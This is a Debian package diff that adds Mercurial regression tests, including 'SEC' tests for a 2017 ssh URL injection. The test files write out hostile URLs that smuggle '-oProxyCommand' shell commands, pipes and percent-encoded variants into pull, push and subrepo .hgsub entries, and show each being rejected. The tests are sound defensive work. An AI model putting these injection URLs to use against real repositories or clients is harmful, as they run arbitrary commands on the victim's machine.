++  $ echo a >> a
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def txabort(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['commit', '--config', 'hooks.pretxncommit=false',
++  ...                         '-mfoo'])
++  ...     runcommand(server, ['verify'])
++  *** runcommand commit --config hooks.pretxncommit=false -mfoo
++  transaction abort!
++  rollback completed
++  abort: pretxncommit hook exited with status 1
++   [255]
++  *** runcommand verify
++  checking changesets
++  checking manifests
++  crosschecking files in changesets and manifests
++  checking files
++  1 files, 2 changesets, 2 total revisions
++  $ hg revert --no-backup -aq
++
++  $ cat >> .hg/hgrc << EOF
++  > [experimental]
++  > evolution=createmarkers
++  > EOF
++
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def obsolete(server):
++  ...     readchannel(server)
++  ... 
++  ...     runcommand(server, ['up', 'null'])
++  ...     runcommand(server, ['phase', '-df', 'tip'])
++  ...     cmd = 'hg debugobsolete `hg log -r tip --template {node}`'
++  ...     if os.name == 'nt':
++  ...         cmd = 'sh -c "%s"' % cmd # run in sh, not cmd.exe
++  ...     os.system(cmd)
++  ...     runcommand(server, ['log', '--hidden'])
++  ...     runcommand(server, ['log'])
++  *** runcommand up null
++  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
++  *** runcommand phase -df tip
++  *** runcommand log --hidden
++  changeset:   1:731265503d86
++  tag:         tip
++  user:        test
++  date:        Thu Jan 01 00:00:00 1970 +0000
++  summary:     .
++  
++  changeset:   0:eff892de26ec
++  bookmark:    bm1
++  bookmark:    bm2
++  bookmark:    bm3
++  user:        test
++  date:        Thu Jan 01 00:00:00 1970 +0000
++  summary:     1
++  
++  *** runcommand log
++  changeset:   0:eff892de26ec
++  bookmark:    bm1
++  bookmark:    bm2
++  bookmark:    bm3
++  tag:         tip
++  user:        test
++  date:        Thu Jan 01 00:00:00 1970 +0000
++  summary:     1
++  
++
++  $ cat <<EOF >> .hg/hgrc
++  > [extensions]
++  > mq =
++  > EOF
++
++  >>> import os
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def mqoutsidechanges(server):
++  ...     readchannel(server)
++  ... 
++  ...     # load repo.mq
++  ...     runcommand(server, ['qapplied'])
++  ...     os.system('hg qnew 0.diff')
++  ...     # repo.mq should be invalidated
++  ...     runcommand(server, ['qapplied'])
++  ... 
++  ...     runcommand(server, ['qpop', '--all'])
++  ...     os.system('hg qqueue --create foo')
++  ...     # repo.mq should be recreated to point to new queue
++  ...     runcommand(server, ['qqueue', '--active'])
++  *** runcommand qapplied
++  *** runcommand qapplied
++  0.diff
++  *** runcommand qpop --all
++  popping 0.diff
++  patch queue now empty
++  *** runcommand qqueue --active
++  foo
++
++  $ cat <<EOF > dbgui.py
++  > import os, sys
++  > from mercurial import cmdutil, commands
++  > cmdtable = {}
++  > command = cmdutil.command(cmdtable)
++  > @command("debuggetpass", norepo=True)
++  > def debuggetpass(ui):
++  >     ui.write("%s\\n" % ui.getpass())
++  > @command("debugprompt", norepo=True)
++  > def debugprompt(ui):
++  >     ui.write("%s\\n" % ui.prompt("prompt:"))
++  > @command("debugreadstdin", norepo=True)
++  > def debugreadstdin(ui):
++  >     ui.write("read: %r\n" % sys.stdin.read(1))
++  > @command("debugwritestdout", norepo=True)
++  > def debugwritestdout(ui):
++  >     os.write(1, "low-level stdout fd and\n")
++  >     sys.stdout.write("stdout should be redirected to /dev/null\n")
++  >     sys.stdout.flush()
++  > EOF
++  $ cat <<EOF >> .hg/hgrc
++  > [extensions]
++  > dbgui = dbgui.py
++  > EOF
++
++  >>> from hgclient import readchannel, runcommand, check, stringio
++  >>> @check
++  ... def getpass(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['debuggetpass', '--config',
++  ...                         'ui.interactive=True'],
++  ...                input=stringio('1234\n'))
++  ...     runcommand(server, ['debugprompt', '--config',
++  ...                         'ui.interactive=True'],
++  ...                input=stringio('5678\n'))
++  ...     runcommand(server, ['debugreadstdin'])
++  ...     runcommand(server, ['debugwritestdout'])
++  *** runcommand debuggetpass --config ui.interactive=True
++  password: 1234
++  *** runcommand debugprompt --config ui.interactive=True
++  prompt: 5678
++  *** runcommand debugreadstdin
++  read: ''
++  *** runcommand debugwritestdout
++
++
++run commandserver in commandserver, which is silly but should work:
++
++  >>> from __future__ import print_function
++  >>> from hgclient import readchannel, runcommand, check, stringio
++  >>> @check
++  ... def nested(server):
++  ...     print('%c, %r' % readchannel(server))
++  ...     class nestedserver(object):
++  ...         stdin = stringio('getencoding\n')
++  ...         stdout = stringio()
++  ...     runcommand(server, ['serve', '--cmdserver', 'pipe'],
++  ...                output=nestedserver.stdout, input=nestedserver.stdin)
++  ...     nestedserver.stdout.seek(0)
++  ...     print('%c, %r' % readchannel(nestedserver))  # hello
++  ...     print('%c, %r' % readchannel(nestedserver))  # getencoding
++  o, 'capabilities: getencoding runcommand\nencoding: *\npid: *' (glob)
++  *** runcommand serve --cmdserver pipe
++  o, 'capabilities: getencoding runcommand\nencoding: *\npid: *' (glob)
++  r, '*' (glob)
++
++
++start without repository:
++
++  $ cd ..
++
++  >>> from __future__ import print_function
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def hellomessage(server):
++  ...     ch, data = readchannel(server)
++  ...     print('%c, %r' % (ch, data))
++  ...     # run an arbitrary command to make sure the next thing the server
++  ...     # sends isn't part of the hello message
++  ...     runcommand(server, ['id'])
++  o, 'capabilities: getencoding runcommand\nencoding: *\npid: *' (glob)
++  *** runcommand id
++  abort: there is no Mercurial repository here (.hg not found)
++   [255]
++
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def startwithoutrepo(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['init', 'repo2'])
++  ...     runcommand(server, ['id', '-R', 'repo2'])
++  *** runcommand init repo2
++  *** runcommand id -R repo2
++  000000000000 tip
++
++
++don't fall back to cwd if invalid -R path is specified (issue4805):
++
++  $ cd repo
++  $ hg serve --cmdserver pipe -R ../nonexistent
++  abort: repository ../nonexistent not found!
++  [255]
++  $ cd ..
++
++
++unix domain socket:
++
++  $ cd repo
++  $ hg update -q
++
++#if unix-socket unix-permissions
++
++  >>> from __future__ import print_function
++  >>> from hgclient import unixserver, readchannel, runcommand, check, stringio
++  >>> server = unixserver('.hg/server.sock', '.hg/server.log')
++  >>> def hellomessage(conn):
++  ...     ch, data = readchannel(conn)
++  ...     print('%c, %r' % (ch, data))
++  ...     runcommand(conn, ['id'])
++  >>> check(hellomessage, server.connect)
++  o, 'capabilities: getencoding runcommand\nencoding: *\npid: *' (glob)
++  *** runcommand id
++  eff892de26ec tip bm1/bm2/bm3
++  >>> def unknowncommand(conn):
++  ...     readchannel(conn)
++  ...     conn.stdin.write('unknowncommand\n')
++  >>> check(unknowncommand, server.connect)  # error sent to server.log
++  >>> def serverinput(conn):
++  ...     readchannel(conn)
++  ...     patch = """
++  ... # HG changeset patch
++  ... # User test
++  ... # Date 0 0
++  ... 2
++  ... 
++  ... diff -r eff892de26ec -r 1ed24be7e7a0 a
++  ... --- a/a
++  ... +++ b/a
++  ... @@ -1,1 +1,2 @@
++  ...  1
++  ... +2
++  ... """
++  ...     runcommand(conn, ['import', '-'], input=stringio(patch))
++  ...     runcommand(conn, ['log', '-rtip', '-q'])
++  >>> check(serverinput, server.connect)
++  *** runcommand import -
++  applying patch from stdin
++  *** runcommand log -rtip -q
++  2:1ed24be7e7a0
++  >>> server.shutdown()
++
++  $ cat .hg/server.log
++  listening at .hg/server.sock
++  abort: unknown command unknowncommand
++  killed!
++  $ rm .hg/server.log
++
++ if server crashed before hello, traceback will be sent to 'e' channel as
++ last ditch:
++
++  $ cat <<EOF >> .hg/hgrc
++  > [cmdserver]
++  > log = inexistent/path.log
++  > EOF
++  >>> from __future__ import print_function
++  >>> from hgclient import unixserver, readchannel, check
++  >>> server = unixserver('.hg/server.sock', '.hg/server.log')
++  >>> def earlycrash(conn):
++  ...     while True:
++  ...         try:
++  ...             ch, data = readchannel(conn)
++  ...             if not data.startswith('  '):
++  ...                 print('%c, %r' % (ch, data))
++  ...         except EOFError:
++  ...             break
++  >>> check(earlycrash, server.connect)
++  e, 'Traceback (most recent call last):\n'
++  e, "IOError: *" (glob)
++  >>> server.shutdown()
++
++  $ cat .hg/server.log | grep -v '^  '
++  listening at .hg/server.sock
++  Traceback (most recent call last):
++  IOError: * (glob)
++  killed!
++#endif
++#if no-unix-socket
++
++  $ hg serve --cmdserver unix -a .hg/server.sock
++  abort: unsupported platform
++  [255]
++
++#endif
++
++  $ cd ..
++
++Test that accessing to invalid changelog cache is avoided at
++subsequent operations even if repo object is reused even after failure
++of transaction (see 0a7610758c42 also)
++
++"hg log" after failure of transaction is needed to detect invalid
++cache in repoview: this can't detect by "hg verify" only.
++
++Combination of "finalization" and "empty-ness of changelog" (2 x 2 =
++4) are tested, because '00changelog.i' are differently changed in each
++cases.
++
++  $ cat > $TESTTMP/failafterfinalize.py <<EOF
++  > # extension to abort transaction after finalization forcibly
++  > from mercurial import commands, error, extensions, lock as lockmod
++  > def fail(tr):
++  >     raise error.Abort('fail after finalization')
++  > def reposetup(ui, repo):
++  >     class failrepo(repo.__class__):
++  >         def commitctx(self, ctx, error=False):
++  >             if self.ui.configbool('failafterfinalize', 'fail'):
++  >                 # 'sorted()' by ASCII code on category names causes
++  >                 # invoking 'fail' after finalization of changelog
++  >                 # using "'cl-%i' % id(self)" as category name
++  >                 self.currenttransaction().addfinalize('zzzzzzzz', fail)
++  >             return super(failrepo, self).commitctx(ctx, error)
++  >     repo.__class__ = failrepo
++  > EOF
++
++  $ hg init repo3
++  $ cd repo3
++
++  $ cat <<EOF >> $HGRCPATH
++  > [ui]
++  > logtemplate = {rev} {desc|firstline} ({files})\n
++  > 
++  > [extensions]
++  > failafterfinalize = $TESTTMP/failafterfinalize.py
++  > EOF
++
++- test failure with "empty changelog"
++
++  $ echo foo > foo
++  $ hg add foo
++
++(failuer before finalization)
++
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def abort(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['commit',
++  ...                         '--config', 'hooks.pretxncommit=false',
++  ...                         '-mfoo'])
++  ...     runcommand(server, ['log'])
++  ...     runcommand(server, ['verify', '-q'])
++  *** runcommand commit --config hooks.pretxncommit=false -mfoo
++  transaction abort!
++  rollback completed
++  abort: pretxncommit hook exited with status 1
++   [255]
++  *** runcommand log
++  *** runcommand verify -q
++
++(failuer after finalization)
++
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def abort(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['commit',
++  ...                         '--config', 'failafterfinalize.fail=true',
++  ...                         '-mfoo'])
++  ...     runcommand(server, ['log'])
++  ...     runcommand(server, ['verify', '-q'])
++  *** runcommand commit --config failafterfinalize.fail=true -mfoo
++  transaction abort!
++  rollback completed
++  abort: fail after finalization
++   [255]
++  *** runcommand log
++  *** runcommand verify -q
++
++- test failure with "not-empty changelog"
++
++  $ echo bar > bar
++  $ hg add bar
++  $ hg commit -mbar bar
++
++(failure before finalization)
++
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def abort(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['commit',
++  ...                         '--config', 'hooks.pretxncommit=false',
++  ...                         '-mfoo', 'foo'])
++  ...     runcommand(server, ['log'])
++  ...     runcommand(server, ['verify', '-q'])
++  *** runcommand commit --config hooks.pretxncommit=false -mfoo foo
++  transaction abort!
++  rollback completed
++  abort: pretxncommit hook exited with status 1
++   [255]
++  *** runcommand log
++  0 bar (bar)
++  *** runcommand verify -q
++
++(failure after finalization)
++
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def abort(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['commit',
++  ...                         '--config', 'failafterfinalize.fail=true',
++  ...                         '-mfoo', 'foo'])
++  ...     runcommand(server, ['log'])
++  ...     runcommand(server, ['verify', '-q'])
++  *** runcommand commit --config failafterfinalize.fail=true -mfoo foo
++  transaction abort!
++  rollback completed
++  abort: fail after finalization
++   [255]
++  *** runcommand log
++  0 bar (bar)
++  *** runcommand verify -q
++
++  $ cd ..
++
++Test symlink traversal over cached audited paths:
++-------------------------------------------------
++
++#if symlink
++
++set up symlink hell
++
++  $ mkdir merge-symlink-out
++  $ hg init merge-symlink
++  $ cd merge-symlink
++  $ touch base
++  $ hg commit -qAm base
++  $ ln -s ../merge-symlink-out a
++  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
++  $ hg up -q 0
++  $ mkdir a
++  $ touch a/poisoned
++  $ hg commit -qAm 'file a/poisoned'
++  $ hg log -G -T '{rev}: {desc}\n'
++  @  2: file a/poisoned
++  |
++  | o  1: symlink a -> ../merge-symlink-out
++  |/
++  o  0: base
++  
++
++try trivial merge after update: cache of audited paths should be discarded,
++and the merge should fail (issue5628)
++
++  $ hg up -q null
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def merge(server):
++  ...     readchannel(server)
++  ...     # audit a/poisoned as a good path
++  ...     runcommand(server, ['up', '-qC', '2'])
++  ...     runcommand(server, ['up', '-qC', '1'])
++  ...     # here a is a symlink, so a/poisoned is bad
++  ...     runcommand(server, ['merge', '2'])
++  *** runcommand up -qC 2
++  *** runcommand up -qC 1
++  *** runcommand merge 2
++  abort: path 'a/poisoned' traverses symbolic link 'a'
++   [255]
++  $ ls ../merge-symlink-out
++
++cache of repo.auditor should be discarded, so matcher would never traverse
++symlinks:
++
++  $ hg up -qC 0
++  $ touch ../merge-symlink-out/poisoned
++  >>> from hgclient import readchannel, runcommand, check
++  >>> @check
++  ... def files(server):
++  ...     readchannel(server)
++  ...     runcommand(server, ['up', '-qC', '2'])
++  ...     # audit a/poisoned as a good path
++  ...     runcommand(server, ['files', 'a/poisoned'])
++  ...     runcommand(server, ['up', '-qC', '0'])
++  ...     runcommand(server, ['up', '-qC', '1'])
++  ...     # here 'a' is a symlink, so a/poisoned should be warned
++  ...     runcommand(server, ['files', 'a/poisoned'])
++  *** runcommand up -qC 2
++  *** runcommand files a/poisoned
++  a/poisoned
++  *** runcommand up -qC 0
++  *** runcommand up -qC 1
++  *** runcommand files a/poisoned
++  abort: path 'a/poisoned' traverses symbolic link 'a'
++   [255]
++
++  $ cd ..
++
++#endif
+diff --git a/tests/test-pull.t b/tests/test-pull.t
+--- a/tests/test-pull.t
++++ b/tests/test-pull.t
+@@ -89,4 +89,30 @@ regular shell commands.
+   $ URL=`python -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
+   $ hg pull -q "$URL"
+ 
++SEC: check for unsafe ssh url
++
++  $ cat >> $HGRCPATH << EOF
++  > [ui]
++  > ssh = sh -c "read l; read l; read l"
++  > EOF
++
++  $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
++  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
++  [255]
++  $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
++  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
++  [255]
++  $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
++  pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
++  abort: no suitable response from remote hg!
++  [255]
++  $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
++  pulling from ssh://fakehost%7Ctouch%20owned/path
++  abort: no suitable response from remote hg!
++  [255]
++
++  $ [ ! -f owned ] || echo 'you got owned'
++
+   $ cd ..
+diff --git a/tests/test-push-r.t b/tests/test-push-r.t
+--- a/tests/test-push-r.t
++++ b/tests/test-push-r.t
+@@ -147,3 +147,29 @@
+   4 files, 9 changesets, 7 total revisions
+ 
+   $ cd ..
++
++SEC: check for unsafe ssh url
++
++  $ cat >> $HGRCPATH << EOF
++  > [ui]
++  > ssh = sh -c "read l; read l; read l"
++  > EOF
++
++  $ hg -R test push 'ssh://-oProxyCommand=touch${IFS}owned/path'
++  pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
++  [255]
++  $ hg -R test push 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
++  pushing to ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
++  [255]
++  $ hg -R test push 'ssh://fakehost|touch${IFS}owned/path'
++  pushing to ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
++  abort: no suitable response from remote hg!
++  [255]
++  $ hg -R test push 'ssh://fakehost%7Ctouch%20owned/path'
++  pushing to ssh://fakehost%7Ctouch%20owned/path
++  abort: no suitable response from remote hg!
++  [255]
++
++  $ [ ! -f owned ] || echo 'you got owned'
+diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t
+--- a/tests/test-subrepo-git.t
++++ b/tests/test-subrepo-git.t
+@@ -694,3 +694,34 @@ whitelisting of ext should be respected 
+   cloning subrepo s from ext::sh -c echo% pwned% >&2
+   abort: git clone error 128 in s (in subrepo s)
+   [255]
++
++test for ssh exploit with git subrepos 2017-07-25
++
++  $ hg init malicious-proxycommand
++  $ cd malicious-proxycommand
++  $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
++  $ git init s
++  Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
++  $ cd s
++  $ git commit --allow-empty -m 'empty'
++  [master (root-commit) 153f934] empty
++  $ cd ..
++  $ hg add .hgsub
++  $ hg ci -m 'add subrepo'
++  $ cd ..
++  $ hg clone malicious-proxycommand malicious-proxycommand-clone
++  updating to branch default
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
++  [255]
++
++also check that a percent encoded '-' (%2D) doesn't work
++
++  $ cd malicious-proxycommand
++  $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
++  $ hg ci -m 'change url to percent encoded'
++  $ cd ..
++  $ rm -r malicious-proxycommand-clone
++  $ hg clone malicious-proxycommand malicious-proxycommand-clone
++  updating to branch default
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
++  [255]
+diff --git a/tests/test-subrepo-svn.t b/tests/test-subrepo-svn.t
+--- a/tests/test-subrepo-svn.t
++++ b/tests/test-subrepo-svn.t
+@@ -684,3 +684,43 @@ Test that sanitizing is omitted in meta 
+   $ hg update -q -C '.^1'
+ 
+   $ cd ../..
++
++SEC: test for ssh exploit
++
++  $ hg init ssh-vuln
++  $ cd ssh-vuln
++  $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
++  $ svn co --quiet "$SVNREPOURL"/src s
++  $ hg add .hgsub
++  $ hg ci -m1
++  $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
++  $ hg ci -m2
++  $ cd ..
++  $ hg clone ssh-vuln ssh-vuln-clone
++  updating to branch default
++  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
++  [255]
++
++also check that a percent encoded '-' (%2D) doesn't work
++
++  $ cd ssh-vuln
++  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
++  $ hg ci -m3
++  $ cd ..
++  $ rm -r ssh-vuln-clone
++  $ hg clone ssh-vuln ssh-vuln-clone
++  updating to branch default
++  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
++  [255]
++
++also check that hiding the attack in the username doesn't work:
++
++  $ cd ssh-vuln
++  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
++  $ hg ci -m3
++  $ cd ..
++  $ rm -r ssh-vuln-clone
++  $ hg clone ssh-vuln ssh-vuln-clone
++  updating to branch default
++  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s)
++  [255]
+diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t
+--- a/tests/test-subrepo.t
++++ b/tests/test-subrepo.t
+@@ -1474,3 +1474,77 @@ Test that '[paths]' is configured correc
+   default = $TESTTMP/t/t
+   default-push = /foo/bar/t
+   $ cd ..
++
++test for ssh exploit 2017-07-25
++
++  $ cat >> $HGRCPATH << EOF
++  > [ui]
++  > ssh = sh -c "read l; read l; read l"
++  > EOF
++
++  $ hg init malicious-proxycommand
++  $ cd malicious-proxycommand
++  $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
++  $ hg init s
++  $ cd s
++  $ echo init > init
++  $ hg add
++  adding init
++  $ hg commit -m init
++  $ cd ..
++  $ hg add .hgsub
++  $ hg ci -m 'add subrepo'
++  $ cd ..
++  $ hg clone malicious-proxycommand malicious-proxycommand-clone
++  updating to branch default
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
++  [255]
++
++also check that a percent encoded '-' (%2D) doesn't work
++
++  $ cd malicious-proxycommand
++  $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
++  $ hg ci -m 'change url to percent encoded'
++  $ cd ..
++  $ rm -r malicious-proxycommand-clone
++  $ hg clone malicious-proxycommand malicious-proxycommand-clone
++  updating to branch default
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
++  [255]
++
++also check for a pipe
++
++  $ cd malicious-proxycommand
++  $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
++  $ hg ci -m 'change url to pipe'
++  $ cd ..
++  $ rm -r malicious-proxycommand-clone
++  $ hg clone malicious-proxycommand malicious-proxycommand-clone
++  updating to branch default
++  abort: no suitable response from remote hg!
++  [255]
++  $ [ ! -f owned ] || echo 'you got owned'
++
++also check that a percent encoded '|' (%7C) doesn't work
++
++  $ cd malicious-proxycommand
++  $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
++  $ hg ci -m 'change url to percent encoded pipe'
++  $ cd ..
++  $ rm -r malicious-proxycommand-clone
++  $ hg clone malicious-proxycommand malicious-proxycommand-clone
++  updating to branch default
++  abort: no suitable response from remote hg!
++  [255]
++  $ [ ! -f owned ] || echo 'you got owned'
++
++and bad usernames:
++  $ cd malicious-proxycommand
++  $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
++  $ hg ci -m 'owned username'
++  $ cd ..
++  $ rm -r malicious-proxycommand-clone
++  $ hg clone malicious-proxycommand malicious-proxycommand-clone
++  updating to branch default
++  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s)
++  [255]
diff -Nru mercurial-3.1.2/debian/patches/series mercurial-3.1.2/debian/patches/series
--- mercurial-3.1.2/debian/patches/series	2016-05-04 12:12:21.000000000 +0200
+++ mercurial-3.1.2/debian/patches/series	2017-08-28 22:08:28.000000000 +0200
@@ -22,3 +22,5 @@
 from_upstream__convert-rewrite-gitpipe-to-use-common.commandline.patch
 from_upstream__convert-test-for-shell-injection-in-git-calls.patch
 from_upstream__convert_pass_absolute_paths_to_git.patch
+from_upstream__hghave_unix-socket.patch
+from_upstream__security_201708.patch
